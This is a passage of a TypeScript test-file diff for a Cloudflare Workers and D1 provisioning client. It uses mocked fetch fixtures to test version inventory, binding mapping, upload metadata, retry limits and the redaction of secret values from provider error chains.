+      plainClient({ fetch: fixture.fetch }).findDatabase('target'),
+    ).resolves.toEqual({ id: 'target-id', name: 'target', created: false });
+    expect(
+      new URL(fixture.requests[0]?.url ?? '').searchParams.get('name'),
+    ).toBe('target');
+  });
+
+  // The deployment and version reads, with what each does when the provider
+  // answers 404: `absence: 'undefined'` is a read the absence gate in
+  // `src/cloudflare-ordinary-worker-operations.ts` covers, `absence: 'throws'`
+  // one it does not. The three titles below read this set instead of restating
+  // it.
+  const DEPLOYMENT_VERSION_READS: readonly Readonly<{
+    absence: 'undefined' | 'throws';
+    read: (
+      client: CloudflareProvisioningClient,
+      scriptName: string,
+    ) => Promise<unknown>;
+  }>[] = [
+    {
+      absence: 'undefined',
+      read: (client, scriptName) =>
+        client.ordinaryWorkerDeploymentStatus(scriptName),
+    },
+    {
+      absence: 'undefined',
+      read: (client, scriptName) =>
+        client.listOrdinaryWorkerVersions(scriptName),
+    },
+    {
+      absence: 'undefined',
+      read: (client, scriptName) =>
+        client.findOrdinaryWorkerVersion(scriptName, 'v1'),
+    },
+    {
+      absence: 'throws',
+      read: (client, scriptName) =>
+        client.viewOrdinaryWorkerVersion(scriptName, 'v1'),
+    },
+  ];
+
+  it('returns undefined only for provider 404 deployment and version reads', async () => {
+    const fixture = recordingFetch(() => apiFailure(404));
+    const client = plainClient({ fetch: fixture.fetch });
+    for (const { absence, read } of DEPLOYMENT_VERSION_READS) {
+      const outcome = expect(read(client, 'missing'));
+      if (absence === 'undefined') {
+        await outcome.resolves.toBeUndefined();
+      } else {
+        await outcome.rejects.toThrow();
+      }
+    }
+  });
+
+  it.each([
+    403, 429, 500,
+  ])('propagates provider %s from every deployment and version read', async (status) => {
+    // The SDK's `shouldRetry` retries 429 and 500, so those rows spend the
+    // client's whole retry budget on each read; `retry-after-ms` holds every
+    // one of those retries to a millisecond of real-timer backoff. A 403 is
+    // not retried, so the header is unread on that row.
+    const fixture = recordingFetch(() =>
+      apiFailure(status, 'provider failure', { 'retry-after-ms': '1' }),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    for (const { read } of DEPLOYMENT_VERSION_READS) {
+      await expect(read(client, 'plain')).rejects.toMatchObject({ status });
+    }
+  });
+
+  it('refuses every deployment and version read that times out', async () => {
+    // A never-resolving fetch cannot stand in for a timeout: `recordingFetch`
+    // never reads `init.signal`, so the client's `AbortSignal.timeout` reaches
+    // a fetch that ignores it. A rejection the SDK reads as a timeout reaches
+    // the same boundary and carries no `status`, which is why this case is not
+    // a row in the matrix above.
+    const fixture = recordingFetch(() =>
+      Promise.reject(new Error('transport timed out')),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    // The SDK's error classes never assign `name` (core/error.js:78-93), so a
+    // raw rejection reports the base `Error` name and the subclass itself is
+    // what identifies a timeout; `sanitizeProviderError` is what stamps the
+    // constructor name the sanitized chains elsewhere in this file read.
+    type ReadOutcome =
+      | Readonly<{ settled: 'resolved'; value: unknown }>
+      | Readonly<{ settled: 'rejected'; timeout: boolean; message: unknown }>;
+    const outcomes: ReadOutcome[] = [];
+    for (const { read } of DEPLOYMENT_VERSION_READS) {
+      outcomes.push(
+        await read(client, 'plain').then(
+          (value): ReadOutcome => ({ settled: 'resolved', value }),
+          (error: unknown): ReadOutcome => ({
+            settled: 'rejected',
+            timeout: error instanceof APIConnectionTimeoutError,
+            message: fact(error, 'message'),
+          }),
+        ),
+      );
+    }
+
+    // A read that resolved to `undefined` would have classified the timeout as
+    // absence, which is the outcome this requirement forbids. It stands before
+    // the aggregate below, which fails first on the same outcome.
+    expect(
+      outcomes.filter(
+        (outcome) =>
+          outcome.settled === 'resolved' && outcome.value === undefined,
+      ),
+    ).toEqual([]);
+    expect(outcomes).toEqual(
+      DEPLOYMENT_VERSION_READS.map(() => ({
+        settled: 'rejected',
+        timeout: true,
+        message: 'Request timed out.',
+      })),
+    );
+  });
+
+  it.each([
+    {
+      label: 'null errors and messages',
+      info: { page: 1, per_page: 100, total_count: 1, total_pages: 1 },
+    },
+    { label: 'null errors and result_info', info: null },
+  ])('accepts $label in version inventory and returns its rows', async ({
+    info,
+  }) => {
+    const fixture = recordingFetch(({ url }) =>
+      new URL(url).searchParams.get('page') === '2'
+        ? pageItems([])
+        : Response.json({
+            success: true,
+            errors: null,
+            messages: null,
+            result: {
+              items: [{ id: 'v1', annotations: { 'workers/tag': 'release' } }],
+            },
+            result_info: info,
+          }),
+    );
+    await expect(
+      plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'),
+    ).resolves.toEqual([{ versionId: 'v1', tag: 'release' }]);
+    expect(fixture.requests).toHaveLength(2);
+  });
+
+  it('accepts null errors and result_info as a single empty version page', async () => {
+    const fixture = recordingFetch(() =>
+      Response.json({
+        success: true,
+        errors: null,
+        result: { items: [] },
+        result_info: null,
+      }),
+    );
+    await expect(
+      plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'),
+    ).resolves.toEqual([]);
+    expect(fixture.requests).toHaveLength(1);
+  });
+
+  it.each([
+    {
+      label: 'non-empty errors',
+      fields: { errors: [{ code: 1000, message: 'x' }] },
+    },
+    { label: 'non-array non-null errors', fields: { errors: 'bad' } },
+    { label: 'non-object result_info', fields: { result_info: 'bad' } },
+  ])('refuses $label in version inventory', async ({ fields }) => {
+    const fixture = recordingFetch(() =>
+      Response.json({
+        success: true,
+        errors: null,
+        result: { items: [{ id: 'v1' }] },
+        ...fields,
+      }),
+    );
+    await expect(
+      plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'),
+    ).rejects.toThrow();
+  });
+
+  it('paginates versions through a terminal empty page and reserves quota per request', async () => {
+    const events: string[] = [];
+    const fixture = recordingFetch(({ url }) => {
+      const page = Number(new URL(url).searchParams.get('page') ?? '1');
+      return page <= 2
+        ? pageItems(
+            Array.from({ length: 100 }, (_, index) => ({
+              id: `${page}-${index}`,
+              ...(index === 0
+                ? { annotations: { 'workers/tag': `tag-${page}` } }
+                : {}),
+            })),
+          )
+        : pageItems([]);
+    }, events);
+    const client = plainClient({
+      fetch: fixture.fetch,
+      rateCoordinator: testRateCoordinator(undefined, events),
+    });
+    const versions = await client.listOrdinaryWorkerVersions('plain');
+    expect(versions).toHaveLength(200);
+    expect(versions?.[0]).toEqual({ versionId: '1-0', tag: 'tag-1' });
+    expect(versions?.[1]).toEqual({ versionId: '1-1', tag: undefined });
+    expect(fixture.requests).toHaveLength(3);
+    expect(events.filter((event) => event === 'quota:acquire')).toHaveLength(3);
+  });
+
+  it('classifies a version-list 404 after the first page as an absent Worker', async () => {
+    let requests = 0;
+    const fixture = recordingFetch(() => {
+      requests += 1;
+      return requests === 1
+        ? pageItems([{ id: 'v1' }], {
+            page: 1,
+            per_page: 1,
+            count: 1,
+            total_count: 2,
+            total_pages: 2,
+          })
+        : apiFailure(404);
+    });
+
+    await expect(
+      plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'),
+    ).resolves.toBeUndefined();
+    expect(fixture.requests).toHaveLength(2);
+    expect(
+      fixture.requests.map(({ url }) => new URL(url).searchParams.get('page')),
+    ).toEqual([null, '2']);
+  });
+
+  it('rejects version and inherited secret inventories above their item bounds', async () => {
+    const versionFixture = recordingFetch(() =>
+      pageItems(Array.from({ length: 5_001 }, (_, id) => ({ id: String(id) }))),
+    );
+    await expect(
+      plainClient({
+        fetch: versionFixture.fetch,
+      }).listOrdinaryWorkerVersions('plain'),
+    ).rejects.toThrow(
+      'ordinary Worker version inventory exceeded the supported inventory bound of 5000 items',
+    );
+    const secretFixture = recordingFetch(() =>
+      pageArray(
+        Array.from({ length: 10_001 }, (_, id) => ({ name: `secret-${id}` })),
+      ),
+    );
+    await expect(
+      plainClient({
+        fetch: secretFixture.fetch,
+      }).listOrdinaryWorkerSecretNames('plain'),
+    ).rejects.toThrow(
+      'ordinary Worker secret inventory exceeded the supported inventory bound of 10000 items',
+    );
+  });
+
+  it('maps every supported binding and all unsupported provider facts', async () => {
+    const bindings: readonly unknown[] = [
+      { type: 'd1', name: 'D1_ID', id: 'id-only' },
+      { type: 'd1', name: 'D1_DATABASE', database_id: 'database-id' },
+      {
+        type: 'd1',
+        name: 'D1_EQUAL',
+        id: 'equal-id',
+        database_id: 'equal-id',
+      },
+      {
+        type: 'd1',
+        name: 'D1_SENTINEL',
+        id: '',
+        database_id: 'sentinel-id',
+      },
+      {
+        type: 'durable_object_namespace',
+        name: 'DO',
+        class_name: 'State',
+        namespace_id: 'namespace',
+        script_name: 'owner',
+        dispatch_namespace: 'dispatch',
+      },
+      {
+        type: 'service',
+        name: 'SERVICE',
+        service: 'upstream',
+        entrypoint: 'Admin',
+      },
+      { type: 'queue', name: 'QUEUE', queue_name: 'jobs' },
+      {
+        type: 'r2_bucket',
+        name: 'R2',
+        bucket_name: 'objects',
+        jurisdiction: 'eu',
+      },
+      { type: 'plain_text', name: 'TEXT', text: 'value' },
+      { type: 'secret_text', name: 'SECRET' },
+      {
+        type: 'd1',
+        name: 'D1_CONFLICT',
+        id: 'left',
+        database_id: 'right',
+      },
+      {
+        type: 'durable_object_namespace',
+        name: 'DO_ENV',
+        class_name: 'State',
+        namespace_id: 'namespace',
+        environment: 'production',
+      },
+      {
+        type: 'service',
+        name: 'SERVICE_ENV',
+        service: 'upstream',
+        environment: 'production',
+      },
+      {
+        type: 'r2_bucket',
+        name: 'R2_JURISDICTION',
+        bucket_name: 'objects',
+        jurisdiction: 'fedramp-high',
+      },
+      ...[
+        { type: 'd1', name: 'D1_EXTRA', database_id: 'db' },
+        {
+          type: 'durable_object_namespace',
+          name: 'DO_EXTRA',
+          class_name: 'State',
+          namespace_id: 'namespace',
+        },
+        { type: 'service', name: 'SERVICE_EXTRA', service: 'upstream' },
+        { type: 'queue', name: 'QUEUE_EXTRA', queue_name: 'jobs' },
+        { type: 'r2_bucket', name: 'R2_EXTRA', bucket_name: 'objects' },
+        { type: 'plain_text', name: 'TEXT_EXTRA', text: 'value' },
+        { type: 'secret_text', name: 'SECRET_EXTRA' },
+      ].map((binding) => ({ ...binding, extra: true })),
+      null,
+      { type: ' ', name: 'INVALID' },
+      { type: 'ai', name: 'UNSUPPORTED' },
+    ];
+    const fixture = recordingFetch(() =>
+      single({
+        id: 'v1',
+        annotations: { 'workers/tag': 'tag' },
+        resources: { bindings },
+      }),
+    );
+    const viewed = await plainClient({
+      fetch: fixture.fetch,
+    }).viewOrdinaryWorkerVersion('plain', 'v1');
+    expect(viewed.versionId).toBe('v1');
+    expect(viewed.tag).toBe('tag');
+    expect(viewed.bindings).toEqual<readonly PlainWorkerVersionBinding[]>([
+      { type: 'd1', name: 'D1_ID', databaseId: 'id-only' },
+      { type: 'd1', name: 'D1_DATABASE', databaseId: 'database-id' },
+      { type: 'd1', name: 'D1_EQUAL', databaseId: 'equal-id' },
+      { type: 'd1', name: 'D1_SENTINEL', databaseId: 'sentinel-id' },
+      {
+        type: 'durable-object',
+        name: 'DO',
+        className: 'State',
+        namespaceId: 'namespace',
+        scriptName: 'owner',
+        dispatchNamespace: 'dispatch',
+      },
+      {
+        type: 'service',
+        name: 'SERVICE',
+        service: 'upstream',
+        entrypoint: 'Admin',
+      },
+      { type: 'queue-producer', name: 'QUEUE', queueName: 'jobs' },
+      {
+        type: 'r2-bucket',
+        name: 'R2',
+        bucketName: 'objects',
+        jurisdiction: 'eu',
+      },
+      { type: 'plain-text', name: 'TEXT', value: 'value' },
+      { type: 'secret-text', name: 'SECRET' },
+      ...[
+        ['D1_CONFLICT', 'd1'],
+        ['DO_ENV', 'durable_object_namespace'],
+        ['SERVICE_ENV', 'service'],
+        ['R2_JURISDICTION', 'r2_bucket'],
+        ['D1_EXTRA', 'd1'],
+        ['DO_EXTRA', 'durable_object_namespace'],
+        ['SERVICE_EXTRA', 'service'],
+        ['QUEUE_EXTRA', 'queue'],
+        ['R2_EXTRA', 'r2_bucket'],
+        ['TEXT_EXTRA', 'plain_text'],
+        ['SECRET_EXTRA', 'secret_text'],
+      ].map(([name, providerType]) => ({
+        type: 'unsupported' as const,
+        name,
+        providerType: providerType as
+          | 'd1'
+          | 'durable_object_namespace'
+          | 'service'
+          | 'queue'
+          | 'r2_bucket'
+          | 'plain_text'
+          | 'secret_text',
+        issue: 'malformed-supported-binding' as const,
+      })),
+      { type: 'unsupported', name: undefined, issue: 'not-object' },
+      {
+        type: 'unsupported',
+        name: 'INVALID',
+        providerType: ' ',
+        issue: 'invalid-type',
+      },
+      {
+        type: 'unsupported',
+        name: 'UNSUPPORTED',
+        providerType: 'ai',
+        issue: 'unsupported-type',
+      },
+    ]);
+    expect(
+      plainWorkerBindingsToProviderShape(viewed.bindings.slice(0, 10)),
+    ).toEqual([
+      { type: 'd1', name: 'D1_ID', id: 'id-only' },
+      { type: 'd1', name: 'D1_DATABASE', id: 'database-id' },
+      { type: 'd1', name: 'D1_EQUAL', id: 'equal-id' },
+      { type: 'd1', name: 'D1_SENTINEL', id: 'sentinel-id' },
+      {
+        type: 'durable_object_namespace',
+        name: 'DO',
+        namespace_id: 'namespace',
+        class_name: 'State',
+        script_name: 'owner',
+        dispatch_namespace: 'dispatch',
+      },
+      {
+        type: 'service',
+        name: 'SERVICE',
+        service: 'upstream',
+        entrypoint: 'Admin',
+      },
+      { type: 'queue', name: 'QUEUE', queue_name: 'jobs' },
+      {
+        type: 'r2_bucket',
+        name: 'R2',
+        bucket_name: 'objects',
+        jurisdiction: 'eu',
+      },
+      { type: 'plain_text', name: 'TEXT', text: 'value' },
+      { type: 'secret_text', name: 'SECRET' },
+    ]);
+    for (const binding of viewed.bindings.filter(
+      (binding) =>
+        binding.type === 'unsupported' &&
+        binding.issue === 'malformed-supported-binding',
+    )) {
+      expect(() =>
+        assertSupportedPlainWorkerBindings([binding], 'pending version'),
+      ).toThrow(
+        'pending version has an unsupported or malformed provider binding',
+      );
+      expect(plainWorkerBindingsToProviderShape([binding])).toEqual([
+        undefined,
+      ]);
+    }
+    for (const raw of [
+      Object.assign(
+        { type: 'secret_text', name: 'SYMBOL_SECRET' },
+        { [Symbol('extra')]: true },
+      ),
+      Object.assign(
+        { type: 'plain_text', name: 'SYMBOL_TEXT', text: 'value' },
+        { [Symbol('extra')]: true },
+      ),
+    ]) {
+      const [normalized] = providerBindingsToPlainWorkerShape([raw]);
+      expect(normalized).toMatchObject({
+        type: 'unsupported',
+        issue: 'malformed-supported-binding',
+      });
+      expect(() =>
+        assertSupportedPlainWorkerBindings(
+          [normalized as PlainWorkerVersionBinding],
+          'pending version',
+        ),
+      ).toThrow(
+        'pending version has an unsupported or malformed provider binding',
+      );
+    }
+    let bindingAccessorReads = 0;
+    const accessorBinding = {
+      type: 'service',
+      name: 'ACCESSOR',
+      get service() {
+        bindingAccessorReads += 1;
+        return 'upstream';
+      },
+    };
+    expect(providerBindingsToPlainWorkerShape([accessorBinding])).toEqual([
+      {
+        type: 'unsupported',
+        name: 'ACCESSOR',
+        providerType: 'service',
+        issue: 'malformed-supported-binding',
+      },
+    ]);
+    expect(bindingAccessorReads).toBe(0);
+  });
+
+  it('uploads initial and staged versions with one JSON metadata part in provider order', async () => {
+    const fixture = recordingFetch(({ method, url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/subdomain') && method === 'GET') {
+        return single({ enabled: true, previews_enabled: true });
+      }
+      if (target.pathname.endsWith('/subdomain'))
+        return single({ enabled: false });
+      if (target.pathname.endsWith('/versions')) {
+        return single({ id: 'v2', resources: {} });
+      }
+      if (target.pathname.endsWith('/workers/scripts/plain')) {
+        return single({ id: 'plain' });
+      }
+      throw new Error(`unexpected request ${method} ${target.pathname}`);
+    });
+    const client = plainClient({ fetch: fixture.fetch });
+    const initial = await client.prepareOrdinaryWorkerUpload(
+      uploadIntent('initial'),
+    );
+    await fenced(client, () => client.dispatchOrdinaryWorkerUpload(initial));
+    const staged = await client.prepareOrdinaryWorkerUpload(
+      uploadIntent('staged'),
+    );
+    await fenced(client, () => client.dispatchOrdinaryWorkerUpload(staged));
+    expect(
+      fixture.requests.map(({ method, url }) => [
+        method,
+        new URL(url).pathname,
+      ]),
+    ).toEqual([
+      ['PUT', '/client/v4/accounts/account/workers/scripts/plain'],
+      ['POST', '/client/v4/accounts/account/workers/scripts/plain/subdomain'],
+      ['GET', '/client/v4/accounts/account/workers/scripts/plain/subdomain'],
+      ['POST', '/client/v4/accounts/account/workers/scripts/plain/subdomain'],
+      ['POST', '/client/v4/accounts/account/workers/scripts/plain/versions'],
+    ]);
+    const initialBody = fixture.requests[0]?.body;
+    const stagedBody = fixture.requests[4]?.body;
+    const bindings = [
+      { name: 'TEXT', type: 'plain_text', text: 'value' },
+      { name: 'SECRET', type: 'secret_text', text: 'super-secret' },
+      { name: 'DB', type: 'd1', database_id: 'db-id' },
+      {
+        name: 'STATE',
+        type: 'durable_object_namespace',
+        class_name: 'State',
+      },
+      { name: 'SERVICE', type: 'service', service: 'upstream' },
+      { name: 'QUEUE', type: 'queue', queue_name: 'jobs' },
+      { name: 'BUCKET', type: 'r2_bucket', bucket_name: 'objects' },
+    ];
+    const metadata = {
+      main_module: 'worker.js',
+      bindings,
+      compatibility_date: '2026-08-26',
+      compatibility_flags: ['nodejs_compat'],
+      limits: { cpu_ms: 42 },
+      annotations: { 'workers/tag': 'candidate-tag' },
+    };
+    expect(fact(initialBody, 'metadata')).toEqual({
+      ...metadata,
+      migrations: {
+        new_tag: 'v1',
+        steps: [{ new_sqlite_classes: ['State'] }],
+      },
+    });
+    expect(fact(stagedBody, 'metadata')).toEqual(metadata);
+    for (const body of [initialBody, stagedBody]) {
+      const decoded = fact(body, 'metadata');
+      for (const absent of [
+        'keep_bindings',
+        'tags',
+        'force',
+        'bindings_inherit',
+      ]) {
+        expect(hasFact(decoded, absent)).toBe(false);
+      }
+    }
+    expect(fact(stagedBody, 'files')).toEqual([
+      {
+        name: 'worker.js',
+        type: 'application/javascript+module',
+        text: 'export default {}',
+      },
+      { name: 'data.txt', type: 'text/plain', text: 'data' },
+    ]);
+  });
+
+  it.each([
+    ['initial', 500],
+    ['initial', 'throw'],
+    ['staged', 500],
+    ['staged', 'throw'],
+  ] as const)('does not retry a %s ordinary Worker upload after %s and sanitizes the failure', async (mode, failureKind) => {
+    const fixture = recordingFetch(({ method, url }) => {
+      const target = new URL(url);
+      if (
+        mode === 'staged' &&
+        method === 'GET' &&
+        target.pathname.endsWith('/subdomain')
+      ) {
+        return single({ enabled: false, previews_enabled: false });
+      }
+      if (failureKind === 'throw') throw new Error('transport failed');
+      return apiFailure(500);
+    });
+    const client = plainClient({ fetch: fixture.fetch });
+    const prepared = await client.prepareOrdinaryWorkerUpload(
+      uploadIntent(mode),
+    );
+    const failure = await fenced(client, () =>
+      client.dispatchOrdinaryWorkerUpload(prepared),
+    ).catch((error: unknown) => error);
+
+    expect(failure).toMatchObject({
+      name: 'CloudflareProviderError',
+      message: 'Cloudflare Worker upload failed',
+    });
+    if (failureKind === 500) expect(fact(failure, 'status')).toBe(500);
+    else
+      expect(fact(fact(failure, 'cause'), 'name')).toBe('APIConnectionError');
+    const uploadPath =
+      mode === 'initial' ? '/workers/scripts/plain' : '/versions';
+    expect(
+      fixture.requests.filter(
+        ({ method, url }) =>
+          method !== 'GET' && new URL(url).pathname.endsWith(uploadPath),
+      ),
+    ).toHaveLength(1);
+  });
+
+  it('redacts secret values from upload API errors', async () => {
+    const fixture = recordingFetch(() =>
+      apiFailure(400, 'binding echoed super-secret'),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    const prepared = await client.prepareOrdinaryWorkerUpload(
+      uploadIntent('initial'),
+    );
+    let failure: unknown;
+    try {
+      await fenced(client, () => client.dispatchOrdinaryWorkerUpload(prepared));
+    } catch (error) {
+      failure = error;
+    }
+    expect(ownSerialization(failure)).not.toContain('super-secret');
+    expect(ownSerialization(failure)).toContain('[redacted]');
+    expect(fact(failure, 'status')).toBe(400);
+  });
+
+  it('terminates a cyclic sanitized transport-error cause chain', async () => {
+    const first = new Error('first transport failure');
+    const second = new Error('second transport failure');
+    const third = new Error('third transport failure');
+    let nameReads = 0;
+    Object.defineProperty(third, 'name', {
+      get: () => {
+        nameReads += 1;
+        return 'TransportError';
+      },
+    });
+    Object.defineProperty(first, 'cause', { value: second });
+    Object.defineProperty(second, 'cause', { value: third });
+    Object.defineProperty(third, 'cause', { value: third });
+
+    const failure = await failedInitialUpload(first);
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors.map(({ message }) => message)).toEqual([
+      expect.any(String),
+      'first transport failure',
+      'second transport failure',
+      'third transport failure',
+    ]);
+    expect(nameReads).toBe(1);
+    expect(chain.terminal).not.toBeInstanceOf(Error);
+    expect(Object.getOwnPropertyNames(chain.terminal)).toEqual(['name']);
+    expect(fact(chain.terminal, 'name')).toBe('TransportError');
+  });
+
+  it('redacts every nested transport-error cause message', async () => {
+    const failure = await failedInitialUpload(
+      new Error('outer super-secret', {
+        cause: new Error('inner super-secret'),
+      }),
+    );
+    const chain = boundedErrorCauses(failure);
+    const messages = chain.errors.map(({ message }) => message);
+
+    expect(messages).toContain('outer [redacted]');
+    expect(messages).toContain('inner [redacted]');
+    expect(messages.every((message) => !message.includes('super-secret'))).toBe(
+      true,
+    );
+  });
+
+  it('sanitizes a non-string nested transport-error message', async () => {
+    const transportFailure = new Error('unused');
+    Object.defineProperty(transportFailure, 'message', { value: 42 });
+
+    const failure = await failedInitialUpload(transportFailure);
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors).toHaveLength(2);
+    expect(chain.errors[1]?.message).toBe('');
+    expect(chain.terminal).toBeUndefined();
+  });
+
+  it('sanitizes a nested transport error whose message accessor throws', async () => {
+    const transportFailure = new Error('unused');
+    Object.defineProperty(transportFailure, 'message', {
+      get: () => {
+        throw new Error('super-secret');
+      },
+    });
+
+    const failure = await failedInitialUpload(
+      nestedTransportFailure(transportFailure),
+    );
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors).toHaveLength(4);
+    expect(chain.errors[3]?.message).toBe('');
+    expect(chain.terminal).toBeUndefined();
+    expect(ownSerialization(failure)).not.toContain('super-secret');
+  });
+
+  it('terminates at a nested transport error whose cause accessor throws', async () => {
+    const transportFailure = new Error('nested transport failure');
+    Object.defineProperty(transportFailure, 'cause', {
+      get: () => {
+        throw new Error('cause access failed');
+      },
+    });
+
+    const failure = await failedInitialUpload(
+      nestedTransportFailure(transportFailure),
+    );
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors.map(({ message }) => message)).toEqual([
+      'Connection error.',
+      'outer transport failure',
+      'middle transport failure',
+      'nested transport failure',
+    ]);
+    expect(chain.terminal).toBeUndefined();
+  });
+
+  it('reads a nested transport-error message accessor once', async () => {
+    let reads = 0;
+    const transportFailure = new Error('unused');
+    Object.defineProperty(transportFailure, 'message', {
+      get: () => {
+        reads += 1;
+        if (reads > 1) throw new Error('message read twice');
+        return 'nested super-secret';
+      },
+    });
+
+    const failure = await failedInitialUpload(
+      nestedTransportFailure(transportFailure),
+    );
+    const chain = boundedErrorCauses(failure);
+
+    expect(reads).toBe(1);
+    expect(chain.errors[3]?.message).toBe('nested [redacted]');
+  });
+
+  it('uses an unknown name when nested name or constructor accessors throw', async () => {
+    const transportFailure = new Error('nested transport failure');
+    Object.defineProperties(transportFailure, {
+      constructor: {
+        get: () => {
+          throw new Error('constructor access failed');
+        },
+      },
+      name: {
+        get: () => {
+          throw new Error('name access failed');
+        },
+      },
+    });
+
+    const failure = await failedInitialUpload(
+      nestedTransportFailure(transportFailure),
+    );
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors[3]?.name).toBe('unknown');
+  });
+
+  it.each([
+    [
+      'throwing prototype',
+      () =>
+        new Proxy(
+          {},
+          {
+            getPrototypeOf: () => {
+              throw new Error('super-secret');
+            },
+          },
+        ),
+    ],
+    [
+      'revoked proxy',
+      () => {
+        const { proxy, revoke } = Proxy.revocable({}, {});
+        revoke();
+        return proxy;
+      },
+    ],
+  ] as const)('terminates at a nested %s cause', async (_kind, cause) => {
+    const failure = await failedInitialUpload(
+      nestedTransportFailure(cause() as Error),
+    );
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors).toHaveLength(3);
+    expect(chain.terminal).toBeUndefined();
+    expect(ownSerialization(failure)).not.toContain('super-secret');
+  });
+
+  it('keeps the SDK timeout subclass as a sanitized Error cause', async () => {
+    // cloudflare/client.mjs:389 classifies this text as a timeout, then the SDK
+    // constructs APIConnectionTimeoutError without the injected error as cause.
+    const failure = await failedInitialUpload(new Error('transport timed out'));
+    const chain = boundedErrorCauses(failure);
+
+    expect(chain.errors.map(({ name }) => name)).toEqual([
+      'APIConnectionTimeoutError',
+    ]);
+    expect(chain.errors[0]?.message).toBe('Request timed out.');
+    expect(chain.terminal).toBeUndefined();
+  });
+
+  it('caps a deep sanitized transport-error cause chain at eight levels', async () => {
+    let error = new Error('level 12');
+    for (let level = 11; level >= 1; level -= 1) {
+      error = new Error(`level ${level}`, { cause: error });
+    }
+
+    const failure = await failedInitialUpload(error);
+    const chain = boundedErrorCauses(failure);
+
+    // Eight sanitized levels = the SDK's APIConnectionError plus injected
+    // levels 1-7 (depth 0 is the wrapper).
+    expect(chain.errors).toHaveLength(8);
+    expect(chain.terminal).not.toBeInstanceOf(Error);
+    expect(Object.getOwnPropertyNames(chain.terminal)).toEqual(['name']);
+  });
+
+  it('drops nested upload error fields instead of retaining secret-bearing objects', async () => {
+    const fixture = recordingFetch(() =>
+      Response.json(
+        {
+          success: false,
+          errors: [
+            {
+              code: { nested: 'super-secret' },
+              message: { nested: 'super-secret' },
+              detail: 'super-secret',
+            },
+          ],
+          messages: [],
+          result: null,
+        },
+        { status: 400 },
+      ),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    const prepared = await client.prepareOrdinaryWorkerUpload(
+      uploadIntent('initial'),
+    );
+    const failure = await fenced(client, () =>
+      client.dispatchOrdinaryWorkerUpload(prepared),
+    ).catch((error: unknown) => error);
+
+    expect(fact(failure, 'errors')).toEqual([{}]);
+    expect(ownSerialization(failure)).not.toContain('super-secret');
+    expect(ownSerialization(failure)).not.toContain('nested');
+  });
+
+  it.each([
+    ['a non-array', 'boom'],
+    ['a null entry', [null]],
+  ] as const)('sanitizes provider errors with %s errors field', async (_kind, errors) => {
+    const fixture = recordingFetch(() =>
+      Response.json(
+        { success: false, errors, messages: [], result: null },
+        { status: 500 },
+      ),
+    );
+    const client = plainClient({ fetch: fixture.fetch });
+    const prepared = await client.prepareOrdinaryWorkerUpload(
+      uploadIntent('initial'),
+    );
+    const failure = await fenced(client, () =>
+      client.dispatchOrdinaryWorkerUpload(prepared),
+    ).catch((error: unknown) => error);
+
+    expect(fact(failure, 'status')).toBe(500);
+    expect(fact(failure, 'errors')).toEqual([]);
+  });
+
+  it('validates deployments before dispatch and sends the exact body once', async () => {
+    const fixture = recordingFetch(() => single({ id: 'deployment' }));
+    const client = plainClient({ fetch: fixture.fetch });
+    const invalid = [
+      [],
+      [{ versionId: 'v1', percentage: Number.NaN }],
+      [{ versionId: 'v1', percentage: 101 }],
+      [
+        { versionId: 'v1', percentage: 50 },
+        { versionId: 'v1', percentage: 50 },
+      ],
+    ];
+    for (const versions of invalid) {
+      await expect(
+        (async () => {
+          const prepared = client.prepareOrdinaryWorkerDeployment(versions);
+          await fenced(client, () =>
+            client.dispatchOrdinaryWorkerDeployment('plain', prepared),
+          );
+        })(),
+      ).rejects.toThrow();
+    }
+    expect(fixture.requests).toHaveLength(0);
+    const prepared = client.prepareOrdinaryWorkerDeployment([
+      { versionId: 'v1', percentage: 25 },
+      { versionId: 'v2', percentage: 75 },
+    ]);
+    await fenced(client, () =>
+      client.dispatchOrdinaryWorkerDeployment('plain', prepared),
+    );
+    expect(fixture.requests).toHaveLength(1);
+    expect(fixture.requests[0]?.body).toEqual({
+      strategy: 'percentage',
+      versions: [
+        { version_id: 'v1', percentage: 25 },
+        { version_id: 'v2', percentage: 75 },
+      ],
+    });
+  });
+
+  it.each([
+    'deployment',
+    'create',
+    'query',
+    'batch',
+    'export',
+  ] as const)('does not retry a %s failure', async (operation) => {
+    const fixture = recordingFetch(() => apiFailure(500));
+    const client = plainClient({
+      fetch: fixture.fetch,
+      exportStore: {
+        write: async () => ({ location: 'x', size: 1, sha256: 'x' }),
+      },
+    });
+    const invoke = () => {
+      switch (operation) {
+        case 'deployment':
+          return client.dispatchOrdinaryWorkerDeployment(
+            'plain',
+            client.prepareOrdinaryWorkerDeployment([
+              { versionId: 'v1', percentage: 100 },
+            ]),
+          );
+        case 'create':
+          return client.createDatabase('db');
+        case 'query':
+          return client.queryDatabase('db', 'SELECT 1');
+        case 'batch':
+          return client.batchDatabase('db', [{ sql: 'SELECT 1' }]);
+        case 'export':
+          return client.exportDatabase('db');
+        default:
+          throw new Error(`unknown operation ${operation satisfies never}`);
+      }
+    };
+    await expect(
+      fenced(client, async () => {
+        await invoke();
+      }),
+    ).rejects.toBeDefined();
+    expect(fixture.requests).toHaveLength(1);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('closes an unused export tee branch when a supplied store fails synchronously=%s', async (synchronous) => {
+    const bytes = new Uint8Array(1024 * 1024).fill(7);
+    const source = new ReadableStream<Uint8Array>({
+      start(controller) {
+        controller.enqueue(bytes);
+        controller.close();
+      },
+    });
+    let branch: ReadableStream<Uint8Array> | undefined;
+    const refused = new Error('fixture custom store refused');
+    const fixture = recordingFetch(({ url }) =>
+      url === 'https://download.example.test/export'
+        ? new Response(source)
+        : single({
+            status: 'complete',
+            result: { signed_url: 'https://download.example.test/export' },
+          }),
+    );
+    const client = plainClient({
+      fetch: fixture.fetch,
+      exportStore: {
+        write(input) {
